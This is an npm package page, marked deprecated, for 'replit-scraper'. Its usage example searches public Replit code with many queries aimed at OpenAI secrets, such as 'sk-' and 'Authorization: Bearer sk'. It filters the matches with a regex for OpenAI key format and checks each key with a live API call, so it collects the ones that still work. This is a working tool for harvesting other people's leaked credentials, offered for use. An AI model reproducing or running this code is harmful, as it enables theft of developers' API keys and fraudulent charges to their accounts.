[go: up one dir, main page]

This package has been deprecated

Author message:

Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.

replit-scraper
TypeScript icon, indicating that this package has built-in type declarations

1.0.0 • Public • Published

replit-scraper - A simple data scraper for Replit [Discord]

NPM NPM GitHub issues GitHub forks GitHub stars GitHub license Discord server

A simple data scraper for Replit

Installation

npm install --save replit-scraper

Usage

import axios from "axios";
import { ReplitScraper } from "../dist/index.js";

const scraper = new ReplitScraper({
	output: "./output.json",
	headers: {
		"User-Agent": "ReplitScraper/1.0.0", // optional
		cookie: "connect.sid=; replit_authed=1;", // Your replit auth cookie
	},
	searches: [
		{ value: "openai.api_key", first: 10000 },
		{ value: 'apiKey: "sk-', first: 5000 },
		{ value: "OPENAI_API_KEY sk-", first: 10000 },
		{ value: "openai sk-", first: 10000 },
		{ value: "Authorization: Bearer sk", first: 5000 },
		{ value: "openai", first: 5000 },
		{ value: "chatgpt", first: 5000 },
		{ value: "OPENAI_API_KEY", first: 5000 },
		{ value: "openai process.env sk", first: 10000 },
		{ value: "sk AI", first: 6000 },
		{ value: "sk- openai", first: 5000 },
		{ value: "openai gpt432k sk", first: 6000 },
		{ value: "openai.organization org sk", first: 5000 },
	],
	filter: /sk-\w{20}T3BlbkFJ\w{20}/g,
	check: async (value) => {
		try {
			await axios.post(
				"https://api.openai.com/v1/chat/completions",
				{
					model: "gpt-3.5-turbo",
					max_tokens: 1,
					messages: [
						{
							role: "user",
							content: "",
						},
					],
				},
				{
					headers: {
						Authorization: `Bearer ${value}`,
						"Content-Type": "application/json",
					},
				},
			);
		} catch (err) {
			return false;
		}

		return true;
	},
});

await scraper.Start();

Dependents (0)

Package Sidebar

Install

npm i replit-scraper

Weekly Downloads

0

Version

1.0.0

License

MIT

Unpacked Size

48.7 kB

Total Files

25

Last publish

Collaborators

  • pawanosman